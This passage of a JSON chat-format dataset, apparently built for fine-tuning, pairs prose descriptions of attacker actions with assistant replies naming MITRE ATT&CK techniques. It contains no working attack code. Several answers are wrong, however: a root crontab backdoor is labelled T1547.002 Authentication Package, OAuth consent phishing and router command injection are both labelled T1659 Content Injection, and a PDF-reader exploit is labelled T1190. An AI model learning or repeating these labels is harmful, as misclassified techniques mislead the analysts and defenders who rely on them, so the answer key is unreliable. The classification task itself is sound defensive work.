                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a rogue DC to spoof Kerberos tickets and impersonate users across the environment."
            },
            {
                "role": "assistant",
                "content": "T1207 - Rogue Domain Controller"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a series of forward proxies, using each successive proxy to relay traffic to the next, creating a multi-hop proxy chain."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware uses the Microsoft Graph API with stolen credentials to list and download user mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries sent spear‑phishing emails with malicious attachments that, when opened, installed malware designed to exfiltrate credit‑card details from point‑of‑sale systems."
            },
            {
                "role": "assistant",
                "content": "T1657 - Financial Theft"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged default credentials to log into a router's GUI and exported the configuration file in XML format."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary reads /proc/[pid]/maps and /proc/[pid]/mem of a privileged process to extract password hashes from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a custom tool to dump credential entries from Linux's GNOME Keyring."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining admin rights, the attacker swaps the current system image with an older version stored on the network share."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential harvesting tool dumps the authentication certificates from the Linux kernel's keyring to impersonate legitimate services."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits a vulnerable CI/CD pipeline to download stored secrets from CircleCI's environment variables."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary stages a malicious DLL on the endpoint by copying it via a mapped network drive."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a default admin password on a web‑based control panel to deploy malicious scripts and gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor implants a tampered OS image into the firmware, causing the system to execute the malicious code on boot."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor accessed a misconfigured NFS share and downloaded confidential documents."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker steals a valid SSH session token and reuses it to gain unauthorized access to the server."
            },
            {
                "role": "assistant",
                "content": "T1563 - Remote Service Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary abuses the built-in \"installutil.exe\" utility to install a .NET service that launches a RAT."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a backdoored binary, the attacker copies /etc/passwd and /etc/shadow to exfiltrate credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.008 - OS Credential Dumping: /etc/passwd and /etc/shadow"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses compromised AWS temporary credentials to execute \"aws s3api put-bucket-policy\" and grant public read access to sensitive data."
            },
            {
                "role": "assistant",
                "content": "T1651 - Cloud Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware corrupts the trusted certificate store, causing the security solution to reject indicator updates signed by the vendor."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor alters the GPO to grant themselves local administrator rights on all machines in the forest."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace the legitimate Windows boot image with a malicious one to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group performed a domain shadowing attack by creating a sibling domain and configuring it to serve malicious payloads to users of the original site."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors harvest private TLS certificates that are left unsecured on the file system."
            },
            {
                "role": "assistant",
                "content": "T1552.004 - Unsecured Credentials: Private Keys"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware disables the Linux sshd service by writing to /etc/init.d/sshd and invoking \"service sshd stop\"."
            },
            {
                "role": "assistant",
                "content": "T1489 - Service Stop"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a new entry to the crontab of the root user to run a backdoor script hourly."
            },
            {
                "role": "assistant",
                "content": "T1547.002 - Boot or Logon Autostart Execution: Authentication Package"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries leverage a botnet of compromised VPN endpoints to anonymize their traffic and bypass geo-restrictions while exfiltrating data."
            },
            {
                "role": "assistant",
                "content": "T1584.005 - Compromise Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used the WMI namespace ROOT\\DEFAULT to modify registry values stealthily."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Group Policy Management API, the attacker changed the \"Scripts (Startup/Shutdown)\" section to include a PowerShell command that adds the attacker’s public key to authorized_keys on Linux machines via SSH tunneling."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a DDoS diversion, the attacker also runs a file‑wiping routine that removes all logs from the compromised server."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential‑stealing tool harvests stored TOTP seeds from a compromised authenticator application."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploited Windows Server Update Services (WSUS) to push a trojanized update package to vulnerable workstations."
            },
            {
                "role": "assistant",
                "content": "T1072 - Software Deployment Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows Management Instrumentation (WMI) to silently add a fraudulent code signing certificate to the local machine's Trusted Root Certification Authorities store."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group compromises a cloud provider’s service account to spin up additional virtual machines for mining cryptocurrency."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware installs a Windows service that triggers every 30 minutes, initiating a Zookeeper data push to an external host."
            },
            {
                "role": "assistant",
                "content": "T1029 - Scheduled Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A network denial of service is achieved through reflection amplification, using publicly accessible UDP services to overwhelm the victim."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary conducts credential stuffing attacks against publicly exposed login portals, gaining access with reused passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious insider extracts the HR directory and exports employee name data into a spreadsheet for use in social engineering campaigns."
            },
            {
                "role": "assistant",
                "content": "T1589.003 - Gather Victim Identity Information: Employee Names"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat performed timestomp on registry hives to conceal modifications made during credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1070.006 - Indicator Removal: Timestomp"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a RAT that activates a VNC service for remote control."
            },
            {
                "role": "assistant",
                "content": "T1021.005 - Remote Services: VNC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A brief internal memo, formatted as plain text, contains a shortened URL that resolves to a malicious PowerShell script used to exfiltrate sensitive files."
            },
            {
                "role": "assistant",
                "content": "T1534 - Internal Spearphishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits a zero‑day vulnerability in a common PDF reader to execute shellcode when a victim opens a crafted PDF."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploited a weak certificate issuance process to issue a fraudulent code signing certificate for their payloads."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the built-in Windows API, the malicious code extracts credential data from the Security Account Manager."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a hidden iframe that loads a script which reads document.cookie and posts the value to a malicious domain."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accesses the registry location where Windows Credential Manager stores encrypted credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.004 - Credentials from Password Stores: Windows Credential Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries exploit an insecure chat application to harvest usernames and passwords that users share in private messages."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involves invoking mmc.exe with a malicious snap‑in to proxy the execution of a secondary payload."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker encoded exfiltrated logs and posted them to a malicious OneDrive share folder using the Microsoft Graph API."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code leverages a secure TLS tunnel to hide data exfiltration from network monitoring tools."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the adversary runs tcpdump to listen to network interfaces and collect clear‑text data."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials were used to mount a network drive and steal financial records."
            },
            {
                "role": "assistant",
                "content": "T1039 - Data from Network Shared Drive"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group employed a PowerShell command to clear all email messages from user mailboxes."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By abusing an insecure IAM role trust relationship, the threat actor accessed the AWS Systems Manager Parameter Store to extract plaintext credentials."
            },
            {
                "role": "assistant",
                "content": "T1555.006 - Credentials from Password Stores: Cloud Secrets Management Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries request a certificate from a compromised CA using false identity information to sign phishing toolkits."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploited a leaked API key for a cloud storage service, granting full read/write access to the attacker’s server."
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A payload executes and then reassigns its PPID to that of a trusted system process, effectively masquerading within the process tree."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pass the Ticket technique is employed by injecting stolen Kerberos tickets into the LSASS process to bypass authentication."
            },
            {
                "role": "assistant",
                "content": "T1550.003 - Use Alternate Authentication Material: Pass the Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers run the 'lshw' command on Linux endpoints to compile a full hardware profile, including motherboard, BIOS, and peripheral devices."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modified the PAM configuration to load a backdoored module, allowing remote access using SSH keys that were never authorized."
            },
            {
                "role": "assistant",
                "content": "T1556.003 - Modify Authentication Process: Pluggable Authentication Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker created a shadow copy of the volume containing NTDS.dit and then extracted the file to harvest credentials."
            },
            {
                "role": "assistant",
                "content": "T1003.003 - OS Credential Dumping: NTDS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a malicious SSP to intercept and modify Kerberos tickets during the authentication process."
            },
            {
                "role": "assistant",
                "content": "T1547.005 - Boot or Logon Autostart Execution: Security Support Provider"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder uses a compromised VPS to host a malicious PowerShell script that harvests credentials from connected VPN clients."
            },
            {
                "role": "assistant",
                "content": "T1584.003 - Compromise Infrastructure: Virtual Private Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a custom encryption algorithm to scramble files on both local and mapped network drives."
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses command injection in a network device's administrative interface to execute arbitrary shell commands."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerability in a VPN client to downgrade the encryption algorithm from AES‑256 to DES, allowing easier decryption of traffic."
            },
            {
                "role": "assistant",
                "content": "T1562.010 - Impair Defenses: Downgrade Attack"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used regsvr32.exe with the /s flag to silently load a malicious COM object from a remote location."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious tool drops a file with the .bak extension into a hidden folder named '.cache' to store exfiltrated logs."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sends repeated requests that trigger resource‑intensive image processing on the endpoint, depleting its CPU and causing a crash."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker obtains OAuth tokens by tricking users into authorizing a malicious application."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker attempts to establish persistence on a compromised system by adding a new path to the system's environment variables, what is the relevant MITRE ATT&CK ID and Name?"
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a command-line utility that queries the system's keychain to retrieve saved web passwords from the user's browsers."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant queries the Windows Registry for keys related to VirtualBox Guest Additions to determine if it is running inside a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor uses a custom TCP protocol on port 443 to send stolen credentials to a remote server."
            },
            {
                "role": "assistant",
                "content": "T1048 - Exfiltration Over Alternative Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers aggregate victim contact details, including personal email addresses and mobile phone numbers, from data leaks and open‑source intelligence sources."
            },
            {
                "role": "assistant",
                "content": "T1589 - Gather Victim Identity Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors modify the bootloader and system image files to execute their code during system startup."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a zero-day vulnerability in a popular e‑commerce platform, the attacker injected a Node.js web shell to maintain persistent command and control over the server."
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
